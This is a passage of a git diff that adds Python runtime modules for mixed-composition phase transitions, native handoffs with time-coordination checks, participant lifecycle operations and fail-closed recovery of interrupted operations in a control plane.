NonEmptyString + evidence_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + + +class MixedHandoffReadback(ContractModel): + operation_id: NonEmptyString + owner_component_id: NonEmptyString + owner_ref: NonEmptyString + phase_revision: int = Field(ge=0) + evidence_refs: list[NonEmptyString] = Field(min_length=1, max_length=64) + + +@dataclass(frozen=True) +class MixedHandoffBinding: + """Installed transfer service for exactly one admitted phase transition.""" + + transition_id: str + source_component_id: str + destination_component_id: str + source_owner_ref: str + destination_owner_ref: str + time_model_ref: str + time_model_digest: str + source_clock_address: str + destination_clock_address: str + mapping_ref: str + ordering_basis: str + time_runtime: object + coordinate: Callable[..., object] + invoke: Callable[..., object] + readback: Callable[..., object] + + def __post_init__(self) -> None: + if not all( + ( + self.transition_id, + self.source_component_id, + self.destination_component_id, + self.source_owner_ref, + self.destination_owner_ref, + self.time_model_ref, + self.time_model_digest, + self.source_clock_address, + self.destination_clock_address, + self.mapping_ref, + self.ordering_basis, + ) + ): + raise ValueError("executable handoff requires exact admitted owner identities") + if self.source_component_id == self.destination_component_id: + raise ValueError("executable handoff requires distinct component owners") + if self.ordering_basis in {"wall_clock_only", "unknown", "unsupported"}: + raise ValueError("executable handoff requires governed order") + if not all(callable(value) for value in (self.coordinate, self.invoke, self.readback)): + raise TypeError("executable handoff requires time coordination, invocation and native readback") + if not callable(getattr(self.time_runtime, "state", None)): + raise TypeError("executable handoff requires time-runtime readback") + + +__all__ = ("MixedHandoffBinding", "MixedHandoffEvidence", "MixedHandoffReadback") diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py b/implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py new file mode 100644 index 000000000..9ea8982e7 --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py @@ -0,0 +1,274 @@ +"""Executable native handoff and correlated time readback for mixed phases.""" + +from __future__ import annotations + +from copy import deepcopy +from dataclasses import dataclass +from fractions import Fraction + +from raes_contracts.contracts.mixed_composition import MixedCompositionTransitionModel +from raes_contracts.contracts.mixed_runtime import MixedCompositionRuntimeStateModel +from raes_contracts.contracts.time_model import TimeRuntimeStateModel, validate_time_runtime_state +from raes_contracts.runtime_state import OperationState, RuntimeSnapshot + +from .control_plane_mutation import external_control_plane_call +from .mixed_runtime import MixedRuntimeBinding +from .mixed_runtime_edge import MixedTimeCoordinationEvidence +from .mixed_runtime_handoff import MixedHandoffBinding, MixedHandoffEvidence, MixedHandoffReadback + +_UNSUPPORTED_HANDOFF_TIME = "handoff time coordination is unsupported" + + +@dataclass(frozen=True) +class _HandoffResolution: + state: OperationState + order_ref: str + evidence_refs: tuple[str, ...] = () + destination_component_id: str | None = None + + +@dataclass +class _HandoffProgress: + confirmed_refs: tuple[str, ...] + correlated: bool = False + evidence: MixedHandoffEvidence | None = None + readback: MixedHandoffReadback | None = None + + +@dataclass(frozen=True) +class _HandoffInvocation: + installed: MixedHandoffBinding + declaration: object + transition: MixedCompositionTransitionModel + state: MixedCompositionRuntimeStateModel + operation_id: str + baseline_snapshot: RuntimeSnapshot + time_state: TimeRuntimeStateModel + grant: MixedTimeCoordinationEvidence + + +def _perform_handoff( + control_plane: object, + binding: MixedRuntimeBinding, + transition: MixedCompositionTransitionModel, + state: MixedCompositionRuntimeStateModel, + operation_id: str, +) -> _HandoffResolution | None: + target = binding.profile.phases[transition.target_phase_id] + if set(state.active_component_ids) == set(target.active_component_ids): + return None + return _resolve_required_handoff(control_plane, binding, transition, state, operation_id) + + +def _resolve_required_handoff( + control_plane: object, + binding: MixedRuntimeBinding, + transition: MixedCompositionTransitionModel, + state: MixedCompositionRuntimeStateModel, + operation_id: str, +) -> _HandoffResolution: + installed = binding.handoff_bindings.get(transition.transition_id) + resolution = _HandoffResolution(OperationState.FAILED, "order:handoff-unbound") + if installed is not None: + declaration = binding.context.time_models[installed.time_model_ref] + baseline_snapshot = deepcopy(control_plane._snapshot) + try: + time_state, grant = _request_handoff_grant( + control_plane, installed, declaration, transition, operation_id, baseline_snapshot + ) + except Exception: + resolution = _HandoffResolution(OperationState.FAILED, "order:handoff-time-refused") + else: + progress = _HandoffProgress( + tuple(dict.fromkeys([*grant.mapping_evidence_refs, *grant.timing_evidence_refs])) + ) + try: + invocation = _HandoffInvocation( + installed, declaration, transition, state, operation_id, baseline_snapshot, time_state, grant + ) + _invoke_handoff_stage(control_plane, invocation, progress) + except Exception: + resolution = _HandoffResolution(OperationState.INDETERMINATE, grant.order_ref, progress.confirmed_refs) + else: + resolution = _handoff_stage_outcome(installed, state, operation_id, grant, progress) + return resolution + + +def _request_handoff_grant( + control_plane: object, + installed: MixedHandoffBinding, + declaration: object, + transition: MixedCompositionTransitionModel, + operation_id: str, + baseline_snapshot: RuntimeSnapshot, +) -> tuple[TimeRuntimeStateModel, MixedTimeCoordinationEvidence]: + with external_control_plane_call(control_plane): + time_state = installed.time_runtime.state(deepcopy(baseline_snapshot)) + if not isinstance(time_state, TimeRuntimeStateModel): + raise TypeError("handoff time readback must be typed") + validate_time_runtime_state(declaration, time_state) + if time_state != baseline_snapshot.time_model_state: + raise ValueError("handoff time readback differs from the committed snapshot") + grant = MixedTimeCoordinationEvidence.model_validate( + installed.coordinate(operation_id, deepcopy(transition), deepcopy(time_state)) + ) + _require_handoff_time_grant(installed, grant, operation_id, declaration, time_state, transition) + return time_state, grant + + +def _invoke_handoff_stage( + control_plane: object, + invocation: _HandoffInvocation, + progress: _HandoffProgress, +) -> None: + installed = invocation.installed + declaration = invocation.declaration + transition = invocation.transition + state = invocation.state + operation_id = invocation.operation_id + baseline_snapshot = invocation.baseline_snapshot + time_state = invocation.time_state + grant = invocation.grant + with external_control_plane_call(control_plane): + evidence = MixedHandoffEvidence.model_validate( + installed.invoke(operation_id, deepcopy(transition), deepcopy(state), deepcopy(baseline_snapshot)) + ) + required = {item.evidence_ref for item in transition.evidence_bindings} + progress.correlated = _handoff_evidence_correlated( + evidence, installed, transition, state, operation_id, grant, required + ) + progress.evidence = evidence + if progress.correlated: + progress.confirmed_refs = tuple(dict.fromkeys([*progress.confirmed_refs, *evidence.evidence_refs])) + readback = MixedHandoffReadback.model_validate(installed.readback(operation_id, deepcopy(baseline_snapshot))) + progress.readback = readback + if progress.correlated and readback.operation_id == operation_id: + progress.confirmed_refs = tuple(dict.fromkeys([*progress.confirmed_refs, *readback.evidence_refs])) + _validate_handoff_time_readback(installed, declaration, baseline_snapshot, time_state) + + +def _handoff_evidence_correlated( + evidence: MixedHandoffEvidence, + installed: MixedHandoffBinding, + transition: MixedCompositionTransitionModel, + state: MixedCompositionRuntimeStateModel, + operation_id: str, + grant: MixedTimeCoordinationEvidence, + required: set[str], +) -> bool: + observed = ( + evidence.operation_id, + evidence.transition_id, + evidence.source_component_id, + evidence.destination_component_id, + evidence.predecessor_history_head, + evidence.phase_revision, + evidence.order_ref, + ) + expected = ( + operation_id, + transition.transition_id, + installed.source_component_id, + installed.destination_component_id, + state.history_head, + state.phase_revision, + grant.order_ref, + ) + return observed == expected and required.issubset(evidence.evidence_refs) + + +def _validate_handoff_time_readback( + installed: MixedHandoffBinding, + declaration: object, + baseline_snapshot: RuntimeSnapshot, + time_state: TimeRuntimeStateModel, +) -> None: + final_time = installed.time_runtime.state(deepcopy(baseline_snapshot)) + if not isinstance(final_time, TimeRuntimeStateModel): + raise TypeError("handoff post-transfer time readback must be typed") + validate_time_runtime_state(declaration, final_time) + if final_time != baseline_snapshot.time_model_state: + raise ValueError("handoff post-transfer time readback differs from the committed snapshot") + for clock_address in (installed.source_clock_address, installed.destination_clock_address): + previous = time_state.clocks[clock_address].coordinate + current = final_time.clocks[clock_address].coordinate + if (current.segment, current.tick, current.microstep) < (previous.segment, previous.tick, previous.microstep): + raise ValueError("handoff time readback regressed") + + +def _handoff_stage_outcome( + installed: MixedHandoffBinding, + state: MixedCompositionRuntimeStateModel, + operation_id: str, + grant: MixedTimeCoordinationEvidence, + progress: _HandoffProgress, +) -> _HandoffResolution: + evidence = progress.evidence + readback = progress.readback + resolution = _HandoffResolution(OperationState.INDETERMINATE, grant.order_ref, progress.confirmed_refs) + if progress.correlated and evidence is not None and readback is not None and readback.operation_id == operation_id: + if evidence.status == "committed": + committed = (readback.owner_component_id, readback.owner_ref, readback.phase_revision) == ( + installed.destination_component_id, + installed.destination_owner_ref, + state.phase_revision + 1, + ) + resolution = _HandoffResolution( + OperationState.SUCCEEDED if committed else OperationState.INDETERMINATE, + evidence.order_ref, + progress.confirmed_refs, + installed.destination_component_id if committed else None, + ) + elif evidence.status in {"failed", "stale"}: + retained = (readback.owner_component_id, readback.owner_ref, readback.phase_revision) == ( + installed.source_component_id, + installed.source_owner_ref, + state.phase_revision, + ) + resolution = _HandoffResolution( + OperationState.FAILED if retained else OperationState.INDETERMINATE, + evidence.order_ref, + progress.confirmed_refs, + ) + else: + resolution = _HandoffResolution(OperationState.INDETERMINATE, evidence.order_ref, progress.confirmed_refs) + return resolution + + +def _require_handoff_time_grant( + installed: MixedHandoffBinding, + grant: MixedTimeCoordinationEvidence, + operation_id: str, + declaration: object, + state: TimeRuntimeStateModel, + transition: MixedCompositionTransitionModel, +) -> None: + source = state.clocks[installed.source_clock_address].coordinate + destination = state.clocks[installed.destination_clock_address].coordinate + mapping = declaration.mappings[installed.mapping_ref] + mapped_tick = Fraction(source.tick * mapping.scale.numerator, mapping.scale.denominator) + mapping.offset_ticks + required = {item.evidence_ref for item in transition.evidence_bindings} + granted = ( + grant.operation_id, + grant.mapping_ref, + grant.ordering_basis, + grant.comparison, + grant.source_coordinate, + grant.destination_coordinate, + source.segment, + ) + expected = ( + operation_id, + installed.mapping_ref, + installed.ordering_basis, + "ordered", + source, + destination, + destination.segment, + ) + if granted != expected: + raise ValueError(_UNSUPPORTED_HANDOFF_TIME) + if (mapped_tick, source.microstep) > (destination.tick, destination.microstep): + raise ValueError(_UNSUPPORTED_HANDOFF_TIME) + if not required.issubset(set(grant.mapping_evidence_refs) | set(grant.timing_evidence_refs)): + raise ValueError(_UNSUPPORTED_HANDOFF_TIME) diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py b/implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py new file mode 100644 index 000000000..cc72caa06 --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py @@ -0,0 +1,197 @@ +"""Pre-effect composition cuts for mixed participant episode lifecycle calls.""" + +from __future__ import annotations + +from dataclasses import replace +from typing import cast +from uuid import uuid4 + +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + ApplyResult, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, + operation_terminal_diagnostics, +) + +from .control_plane_execution import _utc_now, apply_authorized_participant_action +from .control_plane_mutation import control_plane_mutation +from .control_plane_operation_context import legacy_operation_request_commitment, operation_admission_context +from .control_plane_store import AuditEvent, ControlPlaneOperationRecord, terminal_operation_audit +from .mixed_runtime_dispatch import ( + PreparedMixedLifecycleDispatch, + prepare_mixed_lifecycle_dispatch, + record_mixed_lifecycle_result, +) + + +def _new_lifecycle_operation( + control_plane: object, + request: object, + method_name: str, + idempotency_key: str, + identity: object, +) -> tuple[OperationReceipt, ControlPlaneOperationRecord, PreparedMixedLifecycleDispatch]: + context = operation_admission_context( + control_plane, + kind=OperationKind.PARTICIPANT_ACTION, + request=request, + identity=identity, + ) + operation_id = str(uuid4()) + submitted_at = _utc_now() + prepared = prepare_mixed_lifecycle_dispatch(control_plane, request, method_name, operation_id, identity) + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at=submitted_at, + accepted=True, + context=context, + ) + accepted = ControlPlaneOperationRecord( + receipt=receipt, + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + state=OperationState.ACCEPTED, + submitted_at=submitted_at, + updated_at=submitted_at, + context=context, + ), + idempotency_key=idempotency_key, + request_fingerprint=context.request_commitment, + decision_history_heads=prepared.expected_history_heads, + result_history_heads=prepared.committed_history_heads, + ) + return receipt, accepted, prepared + + +def _authorize_lifecycle( + control_plane: object, + accepted: ControlPlaneOperationRecord, + prepared: PreparedMixedLifecycleDispatch, + action: str, +) -> ControlPlaneOperationRecord: + authorized_at = _utc_now() + running = cast( + ControlPlaneOperationRecord, + replace( + accepted, + status=replace(accepted.status, state=OperationState.RUNNING, updated_at=authorized_at), + ), + ) + context = accepted.status.context + control_plane._commit_participant_transition( + expected_history_heads=prepared.expected_history_heads, + snapshot=prepared.snapshot, + record=running, + audit_event=AuditEvent( + timestamp=authorized_at, + action=f"authorize_mixed_participant_{action}", + identity=context.actor_id, + allowed=True, + target=context.target_scope, + operation_id=accepted.receipt.operation_id, + reason="authorized", + ), + ) + return running + + +def _apply_lifecycle( + control_plane: object, + request: object, + prepared: PreparedMixedLifecycleDispatch, +) -> ApplyResult: + with control_plane._mutation_authority.external_call(): + return apply_authorized_participant_action( + method=prepared.method, + request=request, + snapshot=control_plane._snapshot, + address=prepared.address, + information_state_context_resolver=getattr( + control_plane, + "_information_state_context_resolver", + None, + ), + ) + + +def _terminal_lifecycle_record( + control_plane: object, + running: ControlPlaneOperationRecord, + result: ApplyResult, + snapshot: RuntimeSnapshot, +) -> ControlPlaneOperationRecord: + final_state = OperationState.SUCCEEDED if result.success else OperationState.FAILED + history_key = f"mixed_composition_history:{control_plane._mixed_runtime.entry.run_id}" + history_head = snapshot.mixed_composition_states[control_plane._mixed_runtime.entry.run_id]["history_head"] + return cast( + ControlPlaneOperationRecord, + replace( + running, + status=replace( + running.status, + state=final_state, + updated_at=_utc_now(), + diagnostics=operation_terminal_diagnostics(final_state, result.diagnostics), + changed_addresses=list(result.changed_addresses), + ), + result_history_heads={history_key: history_head}, + ), + ) + + +def execute_mixed_participant_lifecycle( + control_plane: object, + *, + request: object, + method_name: str, + action: str, + idempotency_key: str, + request_fingerprint: str, + identity: object, +) -> OperationReceipt: + """Commit an exact participant-provider cut before one lifecycle effect.""" + + del request_fingerprint + with control_plane_mutation(control_plane, OperationKind.PARTICIPANT_ACTION): + control_plane._reload_derived_state() + receipt, accepted, prepared = _new_lifecycle_operation( + control_plane, + request, + method_name, + idempotency_key, + identity, + ) + claimed = control_plane._claim_record( + accepted, + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.PARTICIPANT_ACTION, + request=request, + ), + ) + if claimed.receipt.operation_id != receipt.operation_id: + return claimed.receipt + running = _authorize_lifecycle(control_plane, accepted, prepared, action) + result = _apply_lifecycle(control_plane, request, prepared) + snapshot = record_mixed_lifecycle_result( + control_plane, + result.snapshot, + receipt.operation_id, + success=result.success, + ) + terminal: ControlPlaneOperationRecord = _terminal_lifecycle_record(control_plane, running, result, snapshot) + control_plane._commit_participant_transition( + expected_history_heads=prepared.committed_history_heads, + snapshot=snapshot, + record=terminal, + audit_event=terminal_operation_audit(terminal), + ) + return receipt + + +__all__ = ("execute_mixed_participant_lifecycle",) diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_phase.py b/implementations/python/packages/raes_runtime/mixed_runtime_phase.py new file mode 100644 index 000000000..b99242b94 --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_phase.py @@ -0,0 +1,299 @@ +"""Bounded phase progression for an admitted mixed runtime binding.""" + +from __future__ import annotations + +from copy import deepcopy +from dataclasses import replace +from uuid import uuid4 + +from raes_contracts.contracts.mixed_composition import MixedCompositionTransitionModel +from raes_contracts.contracts.mixed_runtime import ( + MixedCompositionRuntimeEventModel, + MixedCompositionRuntimeStateModel, +) +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.operation_lifecycle import OperationAdmissionContext +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + operation_terminal_diagnostics, +) + +from .control_plane_execution import _utc_now +from .control_plane_mutation import external_control_plane_call +from .control_plane_operation_context import operation_admission_context +from .control_plane_security import ControlPlaneIdentity +from .control_plane_store import AuditEvent, ControlPlaneOperationRecord +from .mixed_runtime import MixedPhaseTransitionEvaluation, MixedRuntimeBinding +from .mixed_runtime_handoff_execution import _HandoffResolution, _perform_handoff +from .mixed_runtime_state import append_runtime_events, runtime_state + +_OUTSTANDING_STATES = {OperationState.ACCEPTED, OperationState.RUNNING, OperationState.INDETERMINATE} + + +def _mixed_runtime_is_quiescent(control_plane: object, run_id: str, history_key: str) -> bool: + """Read the authoritative operation ledger for unresolved mixed effects.""" + + run_scope = f"run:{run_id}" + for record in control_plane._store.load_records().values(): + context = record.status.context + if ( + context.run_scope == run_scope + and context.operation_kind + in {OperationKind.PARTICIPANT_ACTION, OperationKind.PARTICIPANT_CROSSING, OperationKind.COMPOSITION_PHASE} + and record.status.state in _OUTSTANDING_STATES + and (history_key in record.decision_history_heads or history_key in record.result_history_heads) + ): + return False + return True + + +def _evaluate(control_plane: object, transition: object, state: object) -> MixedPhaseTransitionEvaluation: + binding = control_plane._mixed_runtime + evaluator = binding.transition_evaluators[transition.evaluator_ref] + try: + with external_control_plane_call(control_plane): + evaluation = evaluator(deepcopy(transition), deepcopy(state), deepcopy(control_plane._snapshot)) + except Exception: + evaluation = _failed_evaluation("order:evaluator-failed") + if isinstance(evaluation, MixedPhaseTransitionEvaluation): + required = {item.evidence_ref for item in transition.evidence_bindings} + valid = ( + 1 <= evaluation.attempts <= transition.progress_bound + and bool(evaluation.order_ref) + and required.issubset(evaluation.evidence_refs) + ) + if not valid: + attempts = min(max(evaluation.attempts, 1), transition.progress_bound) + evaluation = _failed_evaluation("order:evaluator-invalid", attempts) + else: + evaluation = _failed_evaluation("order:evaluator-invalid") + return evaluation + + +def _failed_evaluation(order_ref: str, attempts: int = 1) -> MixedPhaseTransitionEvaluation: + return MixedPhaseTransitionEvaluation( + permitted=False, + attempts=attempts, + order_ref=order_ref, + evidence_refs=(), + ) + + +def _phase_binding( + control_plane: object, + transition_id: str, + identity: object, +) -> tuple[MixedRuntimeBinding, MixedCompositionTransitionModel]: + if not isinstance(identity, ControlPlaneIdentity): + raise PermissionError("mixed phase transition requires an authenticated identity") + if identity.target_name is not None and identity.target_name != control_plane.target_name: + raise PermissionError("mixed phase transition identity is not authorized for this target") + binding = control_plane._mixed_runtime + if binding is None: + raise ValueError("mixed runtime is not configured") + transition = binding.profile.transitions.get(transition_id) + if transition is None: + raise ValueError("mixed phase transition is not admitted") + return binding, transition + + +def _phase_operation( + control_plane: object, + binding: MixedRuntimeBinding, + transition_id: str, + identity: ControlPlaneIdentity, + idempotency_key: str, + state: MixedCompositionRuntimeStateModel, + history_key: str, +) -> tuple[OperationReceipt, ControlPlaneOperationRecord, OperationAdmissionContext]: + context = operation_admission_context( + control_plane, + kind=control_plane._composition_operation_kind, + request={ + "action": "advance", + "transition_id": transition_id, + "profile_digest": binding.profile.profile_digest, + }, + identity=identity, + ) + operation_id = str(uuid4()) + timestamp = _utc_now() + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at=timestamp, + accepted=True, + context=context, + ) + running = ControlPlaneOperationRecord( + receipt=receipt, + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + state=OperationState.RUNNING, + submitted_at=timestamp, + updated_at=timestamp, + context=context, + ), + idempotency_key=idempotency_key, + request_fingerprint=context.request_commitment, + decision_history_heads={history_key: state.history_head}, + result_history_heads={history_key: state.history_head}, + ) + return receipt, running, context + + +def _phase_event_fields( + state: MixedCompositionRuntimeStateModel, + transition: MixedCompositionTransitionModel, + evaluation: MixedPhaseTransitionEvaluation, +) -> dict[str, object]: + return { + "run_id": state.run_id, + "plan_id": state.plan_id, + "plan_entry_id": state.plan_entry_id, + "profile_id": state.profile_id, + "profile_digest": state.profile_digest, + "control_event_ref": transition.trigger_ref, + "order_ref": evaluation.order_ref, + "evidence_refs": list(evaluation.evidence_refs), + "provenance_refs": list(evaluation.provenance_refs), + } + + +def _phase_outcome( + binding: MixedRuntimeBinding, + transition: MixedCompositionTransitionModel, + state: MixedCompositionRuntimeStateModel, + evaluation: MixedPhaseTransitionEvaluation, + operation_id: str, + handoff: _HandoffResolution | None, +) -> tuple[list[MixedCompositionRuntimeEventModel], OperationState, Diagnostic | None]: + common = _phase_event_fields(state, transition, evaluation) + target = binding.profile.phases[transition.target_phase_id] + needs_handoff = set(state.active_component_ids) != set(target.active_component_ids) + if not evaluation.permitted or ( + needs_handoff and handoff is not None and handoff.state is not OperationState.SUCCEEDED + ): + return _denied_phase_outcome(state, evaluation, operation_id, handoff, common) + phase = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:phase", + event_kind="phase-transition", + disposition="committed", + predecessor_event_id=state.history_head, + phase_id=target.phase_id, + phase_revision=state.phase_revision + 1, + active_component_ids=target.active_component_ids, + active_allocation_ids=target.active_allocation_ids, + active_edge_ids=target.active_edge_ids, + **common, + ) + if not needs_handoff: + return [phase], OperationState.SUCCEEDED, None + assert handoff is not None + event = phase.model_copy( + update={ + "event_id": f"composition:{operation_id}:handoff", + "event_kind": "handoff", + "predecessor_event_id": phase.event_id, + "component_id": handoff.destination_component_id, + "order_ref": handoff.order_ref, + "evidence_refs": list(handoff.evidence_refs), + } + ) + return [phase, event], OperationState.SUCCEEDED, None + + +def _denied_phase_outcome( + state: MixedCompositionRuntimeStateModel, + evaluation: MixedPhaseTransitionEvaluation, + operation_id: str, + handoff: _HandoffResolution | None, + common: dict[str, object], +) -> tuple[list[MixedCompositionRuntimeEventModel], OperationState, Diagnostic]: + terminal_state = handoff.state if evaluation.permitted and handoff is not None else OperationState.FAILED + if evaluation.permitted and handoff is not None: + common["order_ref"] = handoff.order_ref + common["evidence_refs"] = list(dict.fromkeys([*evaluation.evidence_refs, *handoff.evidence_refs])) + failure = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:failure", + event_kind="failure", + disposition="indeterminate" if terminal_state is OperationState.INDETERMINATE else "denied", + predecessor_event_id=state.history_head, + phase_id=state.phase_id, + phase_revision=state.phase_revision, + active_component_ids=state.active_component_ids, + active_allocation_ids=state.active_allocation_ids, + active_edge_ids=state.active_edge_ids, + **common, + ) + diagnostic = Diagnostic( + code="runtime.mixed-composition-transition-denied", + domain="runtime", + address=f"mixed-composition.{state.run_id}", + message="The admitted phase transition or required executable handoff did not permit progression.", + ) + return [failure], terminal_state, diagnostic + + +def advance_mixed_composition( + control_plane: object, + *, + transition_id: str, + identity: object, + idempotency_key: str, +) -> OperationReceipt: + """Evaluate and commit exactly one pre-admitted forward transition.""" + + binding, transition = _phase_binding(control_plane, transition_id, identity) + control_plane._reload_derived_state() + state = runtime_state(binding, control_plane._snapshot) + history_key = f"mixed_composition_history:{state.run_id}" + receipt, running, context = _phase_operation( + control_plane, binding, transition_id, identity, idempotency_key, state, history_key + ) + operation_id = receipt.operation_id + source_matches = state.phase_id == transition.source_phase_id + quiescent = _mixed_runtime_is_quiescent(control_plane, state.run_id, history_key) + claimed = control_plane._claim_record( + running, + new_claim_blocked="current-state" if not source_matches or not quiescent else None, + ) + if claimed.receipt.operation_id != operation_id: + return claimed.receipt + evaluation = _evaluate(control_plane, transition, state) + handoff = ( + _perform_handoff(control_plane, binding, transition, state, operation_id) if evaluation.permitted else None + ) + events, terminal_state, diagnostic = _phase_outcome(binding, transition, state, evaluation, operation_id, handoff) + snapshot = append_runtime_events(binding, control_plane._snapshot, state, events) + terminal = replace( + running, + status=replace( + running.status, + state=terminal_state, + updated_at=_utc_now(), + diagnostics=operation_terminal_diagnostics(terminal_state, [] if diagnostic is None else [diagnostic]), + ), + result_history_heads={history_key: events[-1].event_id}, + ) + audit = AuditEvent( + timestamp=terminal.status.updated_at, + action="advance_mixed_composition", + identity=context.actor_id, + allowed=terminal_state is OperationState.SUCCEEDED, + target=context.target_scope, + operation_id=operation_id, + reason="committed" if terminal_state is OperationState.SUCCEEDED else "transition-denied", + ) + control_plane._commit_participant_transition( + expected_history_heads={history_key: state.history_head}, + snapshot=snapshot, + record=terminal, + audit_event=audit, + ) + return receipt diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_recovery.py b/implementations/python/packages/raes_runtime/mixed_runtime_recovery.py new file mode 100644 index 000000000..562cab37f --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_recovery.py @@ -0,0 +1,126 @@ +"""Fail-closed startup classification for interrupted mixed external stages.""" + +from __future__ import annotations + +from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel +from raes_contracts.runtime_state import OperationKind, OperationState, RuntimeSnapshot + +from .control_plane_store import ControlPlaneOperationRecord +from .mixed_runtime_dispatch import _recovery_attempt +from .participant_crossing_state_cut import canonical_crossing_digest, history_record_identity + + +def has_mixed_resolution_cut(record: ControlPlaneOperationRecord) -> bool: + """Identify a mixed effect from durable operation metadata alone.""" + + return record.status.context.operation_kind in { + OperationKind.COMPOSITION_PHASE, + OperationKind.PARTICIPANT_ACTION, + OperationKind.PARTICIPANT_CROSSING, + } and any(key.startswith("mixed_composition_history:") for key in record.decision_history_heads) + + +def requires_mixed_stage_reconciliation(control_plane: object, record: ControlPlaneOperationRecord) -> bool: + """A provider observation cannot prove a bridge or native transfer finished.""" + + kind = record.status.context.operation_kind + has_mixed_history = any(key.startswith("mixed_composition_history:") for key in record.decision_history_heads) + if not has_mixed_history or kind not in { + OperationKind.COMPOSITION_PHASE, + OperationKind.PARTICIPANT_ACTION, + OperationKind.PARTICIPANT_CROSSING, + }: + return False + if kind is OperationKind.COMPOSITION_PHASE: + # A claimed phase can have invoked its native owner before the terminal commit. + return True + binding = getattr(control_plane, "_mixed_runtime", None) + attempt = _recovery_attempt(control_plane, binding, record.receipt.operation_id) if binding is not None else None + # Missing provenance or an edge means provider-only recovery cannot prove + # the authorized time grant, bridge, delivery, and observation stages. + return attempt is None or attempt.edge_id is not None + + +def has_unresolved_mixed_action_cut(control_plane: object) -> bool: + """A partial crossing cut stays quarantined until its operation is resolved.""" + + return any( + record.status.state in {OperationState.RUNNING, OperationState.INDETERMINATE} + and record.status.context.operation_kind + in {OperationKind.PARTICIPANT_ACTION, OperationKind.PARTICIPANT_CROSSING} + and requires_mixed_stage_reconciliation(control_plane, record) + for record in control_plane._operations.values() + ) + + +def validate_restored_mixed_crossing_cut(control_plane: object, resolver: object) -> None: + """Validate every retained crossing outside an interrupted mixed suffix.""" + + from .participant_crossing_mediation import validate_persisted_crossing_history + + snapshot = control_plane._snapshot + if not has_unresolved_mixed_action_cut(control_plane): + validate_persisted_crossing_history(snapshot, resolver) + return + prefix_lengths = _interrupted_crossing_prefixes(control_plane, snapshot) + for history in snapshot.participant_crossing_history.values(): + for item in history: + ParticipantCrossingOccurrenceModel.model_validate(item) + retained = { + participant_address: list(history[: prefix_lengths.get(participant_address, len(history))]) + for participant_address, history in snapshot.participant_crossing_history.items() + } + projection: RuntimeSnapshot = snapshot.with_entries(dict(snapshot.entries), participant_crossing_history=retained) + validate_persisted_crossing_history(projection, resolver) + + +def _interrupted_crossing_prefixes(control_plane: object, snapshot: RuntimeSnapshot) -> dict[str, int]: + prefix_lengths: dict[str, int] = {} + for record in control_plane._operations.values(): + if not _is_interrupted_mixed_action(control_plane, record): + continue + crossing_heads = { + key.partition(":")[2]: head + for key, head in record.decision_history_heads.items() + if key.startswith("participant_crossing_history:") + } + if not crossing_heads: + raise ValueError("interrupted mixed action has no durable crossing cut") + for participant_address, head in crossing_heads.items(): + history = snapshot.participant_crossing_history.get(participant_address, []) + key = f"participant_crossing_history:{participant_address}" + cut = _crossing_prefix_length(history, head, record.result_history_heads.get(key)) + prefix_lengths[participant_address] = min(prefix_lengths.get(participant_address, len(history)), cut) + return prefix_lengths + + +def _is_interrupted_mixed_action(control_plane: object, record: ControlPlaneOperationRecord) -> bool: + return ( + record.status.state in {OperationState.RUNNING, OperationState.INDETERMINATE} + and record.status.context.operation_kind + in {OperationKind.PARTICIPANT_ACTION, OperationKind.PARTICIPANT_CROSSING} + and requires_mixed_stage_reconciliation(control_plane, record) + ) + + +def _crossing_prefix_length(history: list[dict[str, object]], head: str | None, result_head: str | None) -> int: + current_head = _crossing_head(history[-1]) if history else None + if current_head != result_head: + raise ValueError("interrupted mixed action crossing result head differs from the stored cut") + matches = ( + [index + 1 for index, item in enumerate(history) if _crossing_head(item) == head] if head is not None else [0] + ) + if len(matches) != 1: + raise ValueError("interrupted mixed action crossing predecessor is missing or ambiguous") + return matches[0] + + +def _crossing_head(item: dict[str, object]) -> str: + return history_record_identity(item) or canonical_crossing_digest(item) + + +def require_resolvable_mixed_action_cut(_control_plane: object, record: ControlPlaneOperationRecord) -> None: + """Generic acceptance cannot release unproved mixed external stages.""" + + if has_mixed_resolution_cut(record): + raise ValueError("mixed stage reconciliation is required before resolution") diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_result.py b/implementations/python/packages/raes_runtime/mixed_runtime_result.py new file mode 100644 index 000000000..bdb716e09 --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_result.py @@ -0,0 +1,196 @@ +"""Correlated mixed action stages and shared operation settlement.""" + +from __future__ import annotations + +from typing import Literal + +from raes_contracts.contracts.mixed_runtime import MixedCompositionRuntimeEventModel +from raes_contracts.runtime_state import ApplyResult, OperationState, RuntimeSnapshot + +from .mixed_runtime_dispatch import PreparedMixedActionDispatch, _runtime_event_fields +from .mixed_runtime_edge import MixedBridgeExecutionEvidence, MixedEdgeExecutionCapture +from .mixed_runtime_state import append_runtime_events, runtime_state +from .participant_crossing_mediation import PreparedParticipantCrossing + +_EventKind = Literal["result", "delivery", "observation", "weakening", "failure"] +_Disposition = Literal["committed", 